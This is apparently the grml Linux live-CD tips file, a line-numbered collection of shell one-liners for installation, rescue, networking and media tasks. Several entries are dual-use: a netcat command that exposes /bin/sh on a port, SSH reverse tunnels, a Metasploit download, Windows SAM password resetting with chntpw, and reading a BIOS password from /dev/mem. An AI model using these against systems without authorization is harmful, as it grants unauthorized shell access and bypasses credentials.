1 Install grml to harddisk:
5 Notice: You can pre-select the partition for the partition selector
6 and mbr dialogs inside grml2hd using:
7 # grml2hd /dev/hda1 -mbr /dev/hda
9 See: man grml2hd + http://grml.org/grml2hd/
11 Install grml on software RAID level 1:
13 Create /dev/md0 (and some more /dev/md* devices) first of all:
14 # cd /dev && MAKEDEV dev
17 # mdadm --create --verbose /dev/md0 --level=raid1 \
18 --raid-devices=2 /dev/hda1 /dev/hdc1
20 Finally install grml on it:
21 # SWRAID='mbr-only' grml2hd /dev/md0 -mbr /dev/md0
23 See: man grml2hd + http://grml.org/grml2hd/
25 Install grml in non interactive mode with grml2hd:
27 Adjust configuration as needed:
28 # vim /etc/grml2hd/config
32 # GRML2HD_NONINTERACTIVE=yes grml2hd
38 Use with care and only if you really know what you are doing!
40 See: man grml2hd + http://grml.org/grml2hd/
46 Boot grml via network:
50 See: man grml-terminalserver + http://grml.org/terminalserver/
52 Deactivate error correction of zsh:
56 Run zsh-help for more information regarding zsh.
58 Disable automatic setting of title in GNU screen:
62 Set it manually e.g. via:
64 % screen -X title foobar
66 Run zsh-help for more information regarding zsh.
68 Do not use menu completion in zsh:
72 Run zsh-help for more information regarding zsh.
74 Run GNU screen with grml-configuration:
80 % screen -c /etc/grml/screenrc
82 Print out grml-version:
90 Configure mutt-ng / muttng:
94 Set up Inode-PPTP connection:
98 # grml-pptp-xdsl-students
100 Set up VPN / WLAN connection at TUG (TU Graz):
102 Set ESSID and request for ip-address via DHCP:
103 # iwconfig $DEVICE essid tug
106 Now run the main script:
109 After running the script an init script is available:
111 # /etc/init.d/vpnctug [start|stop]
113 Set up PPTP connection at VCG (Virtual Campus Graz):
123 # grml-vpn -k 2005 add 1000 192.168.20.1 192.168.20.2
127 Use encrypted files / partitions:
129 # grml-crypt <options>
135 # grml-crypt format /mnt/external1/encrypted_file /mnt/test
136 # cp big_file /mnt/test
137 # grml-crypt stop /mnt/test
141 # grml-crypt start /mnt/external1/encrypted_file /mnt/test
142 # grml-crypt stop /mnt/test
146 Change resolution of X:
148 % xrandr -s '1024x768'
150 Change resolution of framebuffer:
154 Configure newsreader slrn:
158 Configure grml system:
162 Or directly run scripts:
167 Lock screen (X / console):
171 Press ctrl-alt-x to lock a GNU screen session.
173 Change wallpaper in X:
175 % grml-wallpaper <press-tab>
177 Start X window system (XFree86 / Xorg / X.org):
179 % grml-x $WINDOWMANAGER
184 % grml-x -mode '1024x768' wmii
185 % grml-x -nosync wm-ng
187 Collect hardware information:
191 or run as root to collect some more information:
195 will generate a file named info.tar.bz2.
197 Configure hardware detection features of harddisk installation:
201 or manually edit /etc/grml/autoconfig[.small]
203 See: man grml-autoconfig
205 Bootoptions / cheatcodes / bootparams for booting grml:
207 On the grml-ISO if not running grml:
208 % less /cdrom/GRML/grml-cheatcodes.txt
211 % most /usr/share/doc/grml-docs/grml-cheatcodes.txt.gz
213 Report bugs to Debian's Bug Tracking System (BTS):
215 % reportbug --bts debian
217 or adjust /etc/reportbug.conf to your needs.
221 http://grml.org/bugs/
222 http://www.debian.org/Bugs/
224 Offline documentation:
228 Online documentation:
231 http://grml.org/docs/
232 http://wiki.grml.org/doku.php
234 Mount ntfs partition (read-write):
237 # ntfsmount /dev/hda1 /mnt/hda1
239 Overwrite specific file on an NTFS partition:
241 ntfscp /dev/hda1 /tmp/file_source path/to/file_target
243 Resize an NTFS partition:
249 ntfsresize -n -s 10G /dev/hda1 # testcase
250 ntfsresize -s 10G /dev/hda1 # testing was successfull, now really resize partition
251 cfdisk /dev/hda # delete partition hda1, create new one with 10000MB and fs-type 07 (NTFS)
253 Modify resolution for intel graphic chipsets:
259 # 915resolution 4d 1400 1050
261 Connect bluetooth mouse:
265 ... and press 'connect' button on your bluetooth device.
267 Connect bluetooth headset:
271 ... and press 'connect' button on your bluetooth device.
273 Secure delete file / directory / partition:
279 Also take a look at shred(1), sfill(1) and http://dban.sourceforge.net/
281 Use grml on Samsung X20 laptop:
283 # apt-get install grml-samsung-x20
285 See: http://www.michael-prokop.at/computer/samsung_x20.html
287 Development information regarding grml:
289 http://grml.supersized.org/
293 #grml on irc.freenode.org - http://grml.org/irc/
294 http://grml.org/contact/
296 Join the grml mailinglist:
298 http://grml.org/mailinglist/
302 http://grml.org/donations/
304 Commercial support / system administration / adjusted live-cds:
306 grml-solutions: http://grml.org/solutions/
308 Information regarding the kernel provided by grml:
310 http://grml.org/kernel/
312 SMTP command-line test tool:
318 % swaks -s $MAILSERVER -tlsc -a -au $ACCOUNT -ap $PASSWORD -f $MAILADRESSE -t $MAILADRESSE
322 NTFS related packages:
328 Modify service through init script:
335 # /etc/init.d/lvm start
339 # jstest /dev/input/js0
343 % mplayer /path/to/movie
345 Use webcam with mplayer:
347 % mplayer tv:// -tv driver=v4l:width=352:height=288:outfmt=yv12:device=/dev/video0
349 Powerful network discovery tool:
353 Grab an entire CD and compress it to Ogg/Vorbis,
354 MP3, FLAC, Ogg/Speex and/or MPP/MP+(Musepack) format:
358 Show a console session in several terminals:
362 Switch behaviour of caps lock key:
366 grep with Perl-compatible regular expressions:
370 ncp: a fast file copy tool for LANs
375 Remote (receive file):
378 utility for sorting records in complex ways:
382 a smaller, cheaper, faster SED implementation:
390 See: http://grml.org/zsh/
392 zsh reference card for grml system:
395 /usr/share/doc/grml-docs/zsh/grml-zsh-refcard.pdf.gz
399 % for i in foo* ; do mv "$i" "bar${i/foo}" ; done
401 % prename 's/foo/bar/' foo*
403 % zmv 'foo(*)' 'bar$1'
405 Test TFT / LCD display:
413 Improved grep version:
417 glark grep extract-matches
424 Output text as sound:
427 % xsay # when running X and text selected via mouse
429 Adjust a grml harddisk (grml2hd) installation:
433 Get information on movie files:
435 % tcprobe -i file.avi
437 Get an overview of your image files:
439 % convert 'vid:*.jpg' thumbnails.jpg
441 List all standard defines:
443 % gcc -dM -E - < /dev/null
445 Send a mail as reminder:
447 echo "mail -s 'check TODO-list' $MAILADDRESS < /dev/null" | at 23:42
449 ncurses-based presentation tool:
453 See: man tpp and /usr/share/doc/tpp/examples/
455 Use ICQ / Jabber / Yahoo! / AIM / MSN /... on command line:
459 Use IRC on command line:
465 % vimdiff file1 file2
471 Moving between diffs:
481 Hardware monitoring without kernel dependencies:
485 Install grml-iso to usb-stick:
487 % grml2usb grml.iso /mount/point
489 Use mplayer on framebuffer console:
491 % mplayer -vo fbdev ...
493 Use links2 on framebuffer console:
495 % links2 -driver fb ...
497 Switch language / keyboard:
499 * use the bootparam lang to set language environment ($LANG, $LC_ALL, $LANGUAGE)
500 * use the bootparams keyboard / xkeyboard to activate specific keyboard layout
501 Usage example: 'grml lang=us keyboard=de xkeyboard=de'
503 Or run one of the following commands:
507 # loadkeys i386/qwertz/de-latin1-nodeadkeys.kmap.gz # console
510 Switch setting of caps-control key (switch between ctrl + shift) on keyboard:
514 Mount usb device / usb stick:
516 % mount /mnt/external1 # corresponds to /dev/sda1
518 % mount /mnt/external # corresponds to /dev/sda
520 Install Sun Java packages:
522 Download j2re.bin-file from http://java.sun.com/downloads/index.html and run
524 # apt-get install java-package
525 # fakeroot make-jpkg j2re-*.bin
526 # dpkg -i sun-j2re*.deb
527 # update-alternatives --config java
531 ddrescue is an improved version of dd which tries to read and
532 if it fails it will go on with the next sectors, where tools
539 How to make an audio file (e.g. Musepack format) out of a DVD track:
541 % mkfifo /tmp/fifo.wav
542 % mppenc /tmp/fifo.wav track06.mpc &
543 % mplayer -vo null -vc null -ao pcm:fast:file=/tmp/fifo.wav -dvd-device /dev/dvd dvd://1 -chapter 6-6
545 Adjust the mppenc line with the encoder you would like to use,
546 for example 'oggenc -o track06.ogg /tmp/fifo.wav' for ogg files.
550 % mplayer -vo null -dumpaudio -dumpfile track06.raw -aid N -dvd-device /dev/dvd dvd://1 -chapter 6-6
551 to extract audio without processing, where 'N' is the corresponding audio channel (see 'man mplayer')
553 Usage example for getting a PCM/wave file from audio channel 128:
554 % mplayer -vo null -vc null -ao pcm:fast:file=track06.wav -aid 128 -dvd-device /dev/dvd dvd://6
556 Create simple chroot:
558 # make_chroot_jail $USERNAME
560 Convert DOS formated file to unix format:
562 sed 's/.$//' dosfile > unixfile # assumes that all lines end with CR/LF
563 sed 's/^M$//' dosfile > unixfile # in bash/tcsh, press Ctrl-V then Ctrl-M
564 sed 's/\x0D$//' dosfile > unixfile # gsed 3.02.80, but top script is easier
565 awk '{sub(/\r$/,"");print}' # assumes EACH line ends with Ctrl-M
566 gawk -v BINMODE="w" '1' infile >outfile # in DOS environment; cannot be done with
567 # DOS versions of awk, other than gawk
568 tr -d \r < dosfile > unixfile # GNU tr version 1.22 or higher
569 tr -d '\015' < dosfile > unixfile # use octal value for "\r" (see man ascii)
570 tr -d '[\015\032]' < dosfile > unixfile # sometimes ^Z is appended to DOS-files
571 vim -c ":set ff=unix" -c ":wq" file # convert using vim
572 vim -c "se ff=dos|x" file # ... and even shorter ;)
573 recode ibmpc..lat1 file # convert using recode
574 echo -e "s/\r//g" > dos2unix.sed; sed -f dos2unix.sed < dosfile > unixfile
576 Save live stream to file:
578 % mplayer -ao pcm -aofile $FILE
582 % mencoder mms://file.wmv -o $FILE -ovc copy -oac copy
588 % avimerge -i *.avi -o blub.avi
592 % cat *.mpg > blub.mpg
596 % mencoder file1.wmv -ovc lavc -oac lavc -ofps 25 -srate 48000 -mc 0 -noskip -forceidx -o file1.avi
597 % mencoder file2.wmv -ovc lavc -oac lavc -ofps 25 -srate 48000 -mc 0 -noskip -forceidx -o file2.avi
598 % avimerge -i file1.avi file2.avi -o blub.avi
600 Display MS-Word file:
602 % strings file.doc | fmt | less
608 Convert MS-Word file to postscript:
610 % antiword -p a4 file.doc > file.ps
612 Convert manual to postscript:
614 % zcat /usr/share/man/man1/zsh.1.gz | groff -man > zsh.1.ps
616 % man -t zsh > zsh.ps
620 % dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
622 Read HTTP via netcat:
624 echo "GET / HTTP/1.0\r\n\r\n" | netcat $DOMAIN 80
626 Get X ressources for specific program:
628 % xrdb -q |grep -i xterm
630 Get windowid of specific X-window:
632 % xwininfo -int | grep "Window id:" | cut -d ' ' -f 4
634 Get titel of specific X-window:
638 check locale - LC_MESSAGES:
640 % locale -ck LC_MESSAGES
642 Create random password:
646 % dd if=/dev/urandom bs=14 count=1 | hexdump | cut -c 9-
648 Get tarballs of various Linux Kernel trees:
651 to get the current stable 2.6 release
654 to get a list of all supported trees
656 Transfer your SSH public key to another host:
658 % ssh-copy-id -i ~/.ssh/id_dsa.pub user@remote-system
660 % cat $HOME/.ssh/id_rsa.pub | ssh user@remote-system 'cat >> .ssh/authorized_keys'
662 Update /etc/fstab entries:
666 See "man grml-rebuildfstab" for more details about
667 generation of /etc/fstab (including stuff like
668 fs LABELs / UUIDs,...).
670 Fetch and potentially change SCSI device parameters:
676 reclaim disk space by linking identical files together:
680 Find and remove duplicate files:
684 Perform layer 2 attacks:
690 Guess PC-type hard disk partitions / partition table:
694 Perform a standard scan:
697 Write back the guessed table:
698 # gpart -W /dev/ice /dev/ice
700 Develop, test and use exploit code with the Metasploit Framework:
703 wget http://www.metasploit.com/tools/framework-2.7-snapshot.tar.gz
704 unp framework-2.7-snapshot.tar.gz
708 Useful documentation:
710 % w3m /usr/share/doc/Debian/reference/reference.en.html
712 % xpdf =(zcat /usr/share/doc/Debian/reference/reference.en.pdf.gz)
714 http://grml.org/docs/ grml Documentation
715 http://wiki.grml.org/ grml Wiki
716 http://www.debian.org/doc/ Debian Documentation
717 http://wiki.debian.org/ Debian Wiki
718 http://www.gentoo.org/doc/en/ Gentoo Documentation
719 http://gentoo-wiki.com/ Gentoo Wiki
720 http://www.tldp.org/ The Linux Documentation Project
724 % fortune debian-hints
728 % fortune debian-hints
729 % dpkg -L funny-manpages
731 Backup master boot record (MBR):
733 # dd if=/dev/ice of=/tmp/backup_of_mbr bs=512 count=1
735 Backup partition table:
737 # sfdisk -d /dev/hda > hda.out
739 Restore partition table:
741 # sfdisk /dev/hda < hda.out
743 Clone disk via network using netcat:
746 # nc -vlp 30000 > hda1.img
748 # dd if=/dev/hda1 | nc -vq 0 192.168.1.2 30000
750 Adjust blocksize (dd's option bs=...) and include 'gzip -c'
753 # dd if=/dev/hda1 bs=32M | gzip -c | nc -vq 0 192.168.1.2 30000
755 Backup specific directories via cpio and ssh:
757 # for f in directory_list; do find $f >> backup.list done
758 # cpio -v -o --format=newc < backup.list | ssh user@host "cat > backup_device"
762 This one uses CPU cycles on the remote server to compare the files:
763 # ssh target_address cat remotefile | diff - localfile
764 # cat localfile | ssh target_address diff - remotefile
766 This one uses CPU cycles on the local server to compare the files:
767 # ssh target_address cat <localfile "|" diff - remotefile
769 Useful tools for cloning / backups:
771 * dd: convert and copy a file
772 * dd_rescue: copies data from one file (or block device) to another
773 * pcopy: a replacement for dd
774 * partimage: back up and restore disk partitions
775 * dirvish: Disk based virtual image network backup system
776 * devclone: in-place filesystem conversion -- device cloning
777 * ntfsclone: efficiently clone, image, restore or rescue an NTFS
778 * dump: ext2/3 filesystem backup
779 * udpcast: multicast file transfer tool
780 * cpio: copy files to and from archives
781 * pax: read and write file archives and copy directory hierarchies
782 * netcat / ssh / tar / gzip / bzip2: additional helper tools
784 Use grml as a rescue system:
788 * dd: convert and copy a file
789 * ddrescue: copies data from one file or block device to another
790 * partimage: Linux/UNIX utility to save partitions in a compressed image file
791 * cfdisk: Partition a hard drive
792 * nparted: Newt and GNU Parted based disk partition table manipulator
793 * parted-bf: The GNU Parted disk partition resizing program, small version
794 * testdisk: Partition scanner and disk recovery tool
795 * gpart: Guess PC disk partition table, find lost partitions
799 * e2fsprogs: ext2 file system utilities and libraries
800 * e2tools: utilities for manipulating files in an ext2/ext3 filesystem
801 * e2undel: Undelete utility for the ext2 file system
802 * ext2resize: an ext2 filesystem resizer
803 * recover: Undelete files on ext2 partitions
807 * reiser4progs: administration utilities for the Reiser4 filesystem
808 * reiserfsprogs: User-level tools for ReiserFS filesystems
812 * xfsdump: Administrative utilities for the XFS filesystem
813 * xfsprogs: Utilities for managing the XFS filesystem
817 * jfsutils: utilities for managing the JFS filesystem
821 * ntfsprogs: tools for doing neat things in NTFS partitions from Linux
822 * salvage-ntfs: free NTFS data recovery tools
823 * scrounge-ntfs: data recovery program for NTFS file systems
824 * ntfsresize: resize ntfs partitions
826 Get ASCII value of a character with zsh:
828 % char=N ; print $((#char))
830 Convert a collection of mp3 files to wave or cdr using zsh:
832 % for i (./*.mp3){mpg321 --w - $i > ${i:r}.wav}
834 Convert images (foo.gif to foo.png) using zsh:
836 % for i in **/*.gif; convert $i $i:r.png
838 Remove all "non txt" files using zsh:
842 Remote Shell Using SSH:
845 % ssh -NR 3333:localhost:22 user@yourhost
848 % ssh user@localhost -p 3333
850 Reverse Shell with Netcat:
853 % netcat -v -l -p 3333 -e /bin/sh
856 % netcat 192.168.0.1 3333
858 Remove empty directories with zsh:
860 % rmdir ./**/*(/od) 2> /dev/null
862 Find all the empty directories in a tree with zsh:
866 Find all files without a valid owner and change ownership with zsh:
868 % chmod user /**/*(D^u:${(j.:u:.)${(f)"$(</etc/passwd)"}%%:*}:)
870 Display the 5-10 last modified files with zsh:
872 % print -rl -- /path/to/dir/**/*(D.om[5,10])
874 Find and list the ten newest files in directories and subdirs (recursive) with zsh:
876 % print -rl -- **/*(Dom[1,10])
878 Find most recent file in a directory with zsh:
880 % setopt dotglob ; print directory/**/*(om[1])
882 Tunnel all traffic through an external server:
884 % ssh -ND 3333 username@external.machine
886 Then set the SOCKS4/5 proxy to localhost:3333.
887 Check whether it's working by surfing e.g. to checkip.dyndns.org
889 Tunnel everything through SSH via tsocks:
891 set up the SSH proxy on the client side:
893 % ssh -ND 3333 user@remote.host.example.com
895 Adjust /etc/tsocks.conf afterwards (delete all other lines):
900 For programs who natively support proxying connections (e.g. Mozilla
901 Firefox) you can now set the proxy address to localhost port 3333.
903 All other programs which's connections you want to tunnel through your
904 external host are prefixed with tsocks, e.g.:
906 % tsocks netcat example.com 80
907 % tsocks irssi -c irc.quakenet.eu.org -p 6667
909 If you call tsocks without parameters it executes a shell witht the
910 LD_PRELOAD environment variable already set and exported.
912 smartctl - control and monitor utility for harddisks using Self-Monitoring,
913 Analysis and Reporting Technology (SMART):
915 # smartctl --all /dev/ice
917 If you want to use smartctl on S-ATA (sata) disks use:
919 # smartctl -d ata --all /dev/sda
922 # smartctl -t offline /dev/ice
925 # smartctl -t short /dev/ice
927 Display results of test:
928 # smartctl -l selftest /dev/ice
930 Query device information:
931 # smartctl -i /dev/ice
933 Mount a BSD / Solaris partition:
935 # mount -t ufs -o ufstype=ufs2 /dev/hda1 /mnt/hda1
937 Use ufstype 44bsd for FreeBSD, NetBSD, OpenBSD (read-write).
938 Use ufstype ufs2 for >= FreeBSD 5.x (read-only).
939 Use ufstype sun for SunOS (Solaris) (read-write).
940 Use ufstype sunx86 for SunOS for Intel (Solarisx86) (read-write).
942 See /usr/share/doc/linux-doc-$(uname -r)/Documentation/filesystems/ufs.txt.gz
945 Read BIOS (and or BIOS) password:
947 # dd if=/dev/mem bs=512 skip=2 count=1 | hexdump -C | head
949 Clone one of the kernel trees via git:
951 git clone rsync://rsync.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
952 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
953 This path defines the tree. See http://kernel.org/git/ for an overview.
955 Mount filesystems over ssh protocol:
957 % sshfs user@host:/remote_dir /mnt/test
961 % fusermount -u /mnt/test
963 (Notice: requires fuse kernel module)
965 Install Gentoo using grml:
967 See http://www.gentoo.org/doc/en/altinstall.xml
969 Install (plain) Debian (sarge release) via grml:
971 Assuming you want to install Debian to sda1:
973 mkfs.ext3 /dev/sda1 # make an ext3 filesystem on /dev/sda1
974 mount -o rw,suid,dev /dev/sda1 /mnt/test # now mount the new partition
975 debootstrap sarge /mnt/test ftp://ftp.tugraz.at/mirror/debian # get main packages from a debian-mirror
976 chroot /mnt/test /bin/bash # let's chroot into the new system
977 mount -t devpts none /dev/pts # ...otherwise running base-config might fail ("Terminated" or "openpty failed")
978 mount -t proc none /proc # make sure we also have a mounted /proc
979 base-config # now configure some main settings
980 vi /etc/mkinitrd/mkinitrd.conf # adjust $ROOT (to /dev/sda1) for your new partition, autodetection will fail in chroot
981 cd /dev ; ./MAKEDEV generic # make sure we have all necessary devices for lilo
982 apt-get install lilo linux-image-2.6.12-1-386 # install lilo and a kernel which fits your needs
983 cp /usr/share/doc/lilo/examples/conf.sample /etc/lilo.conf # let's use a template
984 vi /etc/lilo.conf && lilo # adjust the file for your needs and run lilo afterwards
985 umount /proc ; umount /dev/pts # we do not need them any more
986 exit # now leave chroot
987 cp /etc/hosts /etc/fstab /mnt/test/etc/ # you might want to take the existing files...
988 cp /etc/network/interfaces /mnt/test/etc/network/ # ...from the running grml system for your new system
989 umount /mnt/test && reboot # unmount partition and reboot...
991 See also: http://www.debian.org/releases/stable/i386/apcs04.html.en
992 Avoid all of the above steps - use grml-debootstrap(8) instead!
994 Install (plain) Debian (etch release) via grml
996 Assuming you want to install Debian to sda1:
998 mkfs.ext3 /dev/sda1 # make an ext3 filesystem on /dev/sda1
999 mount -o rw,suid,dev /dev/sda1 /mnt/test # now mount the new partition
1000 debootstrap etch /mnt/test ftp://ftp.tugraz.at/mirror/debian # get main packages from a debian-mirror
1001 chroot /mnt/test /bin/bash # let's chroot into the new system
1002 mount -t proc none /proc # make sure we have a mounted /proc
1003 apt-get install locales console-data # install locales
1004 dpkg-reconfigure locales console-data # adjust locales to your needs
1005 apt-get install vim most zsh screen less initrd-tools file grub \
1006 usbutils pciutils bzip2 sysfsutils dhcp3-client resolvconf \
1007 strace lsof w3m # install useful software
1008 apt-get install linux-headers-2.6-686 linux-image-686 # install current kernel
1010 echo "127.0.0.1 localhost" > /etc/hosts # adjust /etc/hosts and network:
1011 cat >> /etc/network/interfaces << EOF
1012 iface lo inet loopback
1013 iface eth0 inet dhcp
1018 ln -sf /usr/share/zoneinfo/Europe/Vienna /etc/localtime # adjust timezone and /etc/fstab:
1019 cat >> /etc/fstab << EOF
1020 sysfs /sys sysfs auto 0 0
1021 proc /proc proc defaults 0 0
1022 /dev/sda1 / ext3 defaults,errors=remount-ro 0 1
1023 /dev/sda2 none swap sw 0 0
1024 /dev/cdrom /mnt/cdrom0 iso9660 ro,user,noauto 0 0
1026 passwd # set password of user root
1028 mkdir /boot/grub # setup grub
1029 cp /usr/share/doc/grub/examples/menu.lst /boot/grub
1030 cat >> /boot/grub/menu.lst << EOF
1031 title Debian Etch, kernel 2.6.18-3-686 (on /dev/sda1)
1033 kernel /boot/vmlinuz-2.6.18-3-686 root=/dev/sda1 ro
1034 initrd /boot/initrd.img-2.6.18-3-686
1036 vim /boot/grub/menu.lst # adjust grub configuration to your needs
1037 cd /dev && MAKEDEV generic # create default devices
1038 cp -i /usr/lib/grub/i386-pc/* /boot/grub/ # copy stage-files to /boot/grub/
1039 grub install # now install grub, run in grub-cmdline following commands:
1043 umount -a # unmount all filesystems in chroot and finally:
1044 exit # exit the chroot and:
1047 If you want to use lilo instead of grub take a look at
1048 /usr/share/doc/lilo/examples/conf.sample or use the following template:
1050 cat > /etc/lilo.conf << EOF
1051 # This allows booting from any partition on disks with more than 1024 cylinders.
1054 # Specifies the boot device
1057 # Specifies the device that should be mounted as root.
1060 # use Debian on software raid:
1061 # raid-extra-boot=mbr-only
1069 image=/boot/vmlinuz-2.6.18-grml
1073 initrd=/boot/initrd.img-2.6.18-grml
1076 See also: http://www.debian.org/releases/stable/i386/apcs04.html.en
1077 Avoid all of the above steps - use grml-debootstrap(8) instead!
1079 Convert files from Unicode / UTF to ISO:
1081 % iconv -f utf8 -t iso-8859-15 < utffile > isofile
1085 % iconv -f iso-8859-15 -t utf8 < isofile > utffile
1087 Assign static setup for network cards (eth0 and eth1) via udev:
1089 First method - manual:
1090 ~~~~~~~~~~~~~~~~~~~~~~
1091 Get information for SYSFS address:
1092 # udevinfo -a -p /sys/class/net/eth0/ | grep address
1094 Then create udev rules:
1095 # cat /etc/udev/network.rules
1097 KERNEL=="eth*", SYSFS{address}=="00:00:00:00:00:01", NAME="wlan0"
1098 KERNEL=="eth*", SYSFS{address}=="00:00:00:00:00:02", NAME="lan0"
1099 # do not match eth* drivers but also e.g. firewire stuff:
1100 ACTION=="add", SUBSYSTEM=="net", SYSFS{address}=="00:00:00:00:00:03", NAME="1394"
1102 Now activate the rules:
1103 # cd /etc/udev/rules.d/ && ln -s ../network.rules z35_network.rules
1105 Unload the drivers, restart udev and load the drivers again to activate
1108 Second method - automatic:
1109 ~~~~~~~~~~~~~~~~~~~~~~~~~~
1110 Run /lib/udev/write_net_rules shipped with recent udev versions:
1112 # INTERFACE=wlan1 /lib/udev/write_net_rules 00:00:00:00:00:04
1114 This command will create /etc/udev/rules.d/z25_persistent-net.rules containing:
1116 SUBSYSTEM=="net", DRIVER=="?*", SYSFS{address}=="00:00:00:00:00:04", NAME=wlan1
1118 See /usr/share/doc/udev/writing_udev_rules/index.html for more information.
1120 Change the suffix from *.sh to *.pl using zsh:
1123 % zmv -W '*.sh' '*.pl'
1125 Generate SSL certificate:
1127 Create self signed certificate (adjust /etc/ssl/openssl.cnf if necessary):
1128 # openssl req -x509 -newkey rsa:1024 -keyout keyfile -out certfile -days 9999 -nodes
1131 # openssl x509 -in certfile -text
1133 Verify against CA certificate:
1134 # openssl verify -CAfile cacert.crt -verbose -purpose sslserver
1136 Generate 2048bit RSA-key:
1137 # openssl req -new -x509 -keyout pub-sec-key.pem -out pub-sec-key.pem -days 365 -nodes
1139 As before but add request to existing key pub-sec-key.pem:
1140 # openssl req -new -out request.pem -keyin pub-sec-key.pem
1142 Show request request.pem:
1143 # openssl req -text -noout -in request.pem
1145 Verify signature of request request.pem:
1146 # openssl req -verify -noout -in request.pem
1148 Generate SHA1 fingerprint (modulo key) of request.pem:
1149 # openssl req -noout -modulus -in request.pem | openssl sha1 -c
1151 Generate 2048bit RSA-key and put it to pub-sec-key.pem. Save self signed certificate in self-signed-certificate.pem:
1152 # openssl req -x509 -days 365 -newkey rsa:2048 -out self-signed-certificate.pem -keyout pub-sec-key.pem
1154 As before but create self signed certificate based on existing key pub-sec-key.pem:
1155 # openssl req -x509 -days 365 -new -out self-signed-certificate.pem -key pub-sec-key.pem
1157 Generate new request out of existing self signed certificate:
1158 # openssl x509 -x509toreq -in self-signed-certificate.pem -signkey pub-sec-key.pem -out request.pem
1160 Display certificate self-signed-certificate.pem in plaintext:
1161 # openssl x509 -text -noout -md5 -in self-signed-certificate.pem
1163 Check self signed certificate:
1164 # openssl verify -issuer_checks -CAfile self-signed-certificate.pem self-signed-certificate.pem
1166 Estable OpenSSL-connection using self-signed-certificate.pem and display certificate:
1167 # openssl s_client -showcerts -CAfile self-signed-certificate.pem -connect www.example.com:443
1169 Also take a look at make-ssl-cert (debconf wrapper for openssl)
1170 and mod-ssl-makecert (utility to create SSL certificates in /etc/apache/ssl.*/).
1172 Change Windows NT password(s):
1174 # mount -o rw /mnt/hda1
1175 # cd /mnt/hda1/WINDOWS/system32/config/
1176 # chntpw SAM SECURITY system
1178 Notice: if mounting the partition read-write did not work (check syslog!)
1179 try using mount.ntfs-3g instead: mount.ntfs-3g /dev/hda1 /mnt/hda1
1181 (Be careful with deactivating syskey!)
1183 glark - replacement for grep written in Ruby:
1185 A replacement for (or supplement to) the grep family, glark offers:
1186 Perl compatible regular expressions, highlighting of matches,
1187 context around matches, complex expressions and automatic exclusion
1192 % glark -y keyword file # display only the region that matched, not the entire line
1193 % glark -o format print *.h # search for either "printf" or "format"
1195 More information: man glark
1197 Find CD burning device(s):
1199 General information on CD-ROM:
1200 % cat /proc/sys/dev/cdrom/info
1202 Scan using ATA Packet specific SCSI transport:
1203 # cdrecord -dev=ATA -scanbus
1204 # cdrecord-prodvd -s -scanbus dev=ATA
1206 Get specific information for /dev/ice:
1207 # cdrecord dev=/dev/ice -scanbus
1209 Create devices in /dev on udev:
1211 For example create md devices (/dev/md0, /dev/md1,...):
1212 # cd /dev ; WRITE_ON_UDEV=1 ./MAKEDEV md
1214 Identify network device (NIC):
1216 # ethtool -i $DEVICE
1218 Show NIC statistics:
1220 # ethtool -S $DEVICE
1222 If your NIC shows some aging signs, you may want to be sure:
1224 # ethtool -t $DEVICE
1226 Disable TCP/UDP checksums:
1228 # ethtool -K $DEVICE tx off
1230 grml2hd seems to hang? Getting Squashfs errors? Problems while booting?
1232 Switch to tty12 and take a look at the syslog. If you see something like:
1234 SQUASHFS error: zlib_fs returned unexpected result 0x........
1235 SQUASHFS error: Unable to read cache block [.....]
1236 SQUASHFS error: Unable to read inode [.....]
1238 your ISO/CD-ROM very probably is not ok. Verify it via booting with grml testcd.
1239 Check your CD low-level via running:
1241 # readcd -c2scan dev=/dev/cdrom
1243 If the medium really is ok and it still fails try to boot with deactivated DMA
1244 via using grml nodma at the bootprompt.
1246 Write a Microsoft compatible boot record (MBR) using ms-sys
1248 Write a Windows 2000/XP/2003 MBR to device:
1250 # ms-sys -m /dev/ice
1252 Use a Vodafone 3G Datacard (UMTS) with Linux:
1254 Plug in your vodafone card and check in syslog whether the appropriate
1255 (probably /dev/ttyUSB0 or /dev/noz0 when using newer vodafone cards) has
1256 been created. If so run:
1259 # wvdial --config /etc/wvdial.conf.umts $PROFILE
1262 # gcom -d /dev/ttyUSB0
1263 # wvdial --config /etc/wvdial.conf.umts a1usb
1266 # wvdial --config /etc/wvdial.conf.umts tmnozomi
1269 # wvdial --config /etc/wvdial.conf.umts dreiusb
1271 Notice: newer vodafone cards require the nozomi driver. Run 'modprobe nozomi' on
1274 hdparm - get/set hard disk parameters
1276 Display the identification info that was obtained from the drive at boot time,
1278 # hpdarm -i /dev/ice
1280 Request identification info directly from the drive:
1281 # hpdarm -I /dev/ice
1283 Perform timings of device + cache reads for benchmark and comparison purposes:
1284 # hdparm -tT /dev/ice
1286 bonnie++ - program to test hard drive performance.
1288 # mkdir /mnt/benchmark
1289 # mount /dev/ice /mnt/benchmark
1290 # chmod go+w /mnt/benchmark
1291 # bonnie -u grml -d /mnt/benchmark -s 2000M
1293 Use gizmo with a bluetooth headset:
1295 % DEVICE="/dev/dsp$(awk '/- BT Headset/ {print $1}' /proc/asound/cards)"
1296 % gizmo --mic $DEVICE --speaker $DEVICE
1298 Scan a v4l device for TV stations:
1300 % scantv -c /dev/video0 -C /dev/vbi0 -o ~/.xawtv
1302 Then running xawtv should work:
1306 Run apt-get with timeout of 3 seconds:
1308 # apt-get -o acquire::http::timeout=3 update
1310 Debian GNU/Linux device driver check page
1312 % $BROWSER http://kmuto.jp/debian/hcl/index.cgi
1314 Use dd with status line:
1316 # dd if=/dev/ice conv=noerror,notrunc,sync | buffer -S 100k | dd of=/tmp/file
1318 Generate a 512k file of random data with status bar:
1320 % dd if=/dev/random bs=1024 count=512 | bar -s 512k -of ./random
1322 Install Grub instead of lilo on grml installation (grml2hd):
1327 adjust grub's configuration file menu.lst:
1328 # $EDITOR /boot/grub/menu.lst
1330 now install grub (usage example for /dev/sda1):
1335 Install Ubuntu using grml:
1337 See https://wiki.ubuntu.com/Installation/FromKnoppix
1339 Resize ext2 / ext3 partition:
1341 # tune2fs -O '^has_journal' /dev/iceX # disable journaling
1342 # fsck.ext2 -v -y -f /dev/iceX # check the filesystem
1343 # resize2fs -p /dev/iceX $SIZE # resize it (adjust $SIZE)
1344 # fdisk /dev/ice # adjust partition in partition table
1345 # fsck.ext2 -v -y -f /dev/iceX # check filesystem again
1346 # resize2fs -p /dev/iceX # resize it to maximum
1347 # tune2fs -j /dev/iceX # re-enable journal
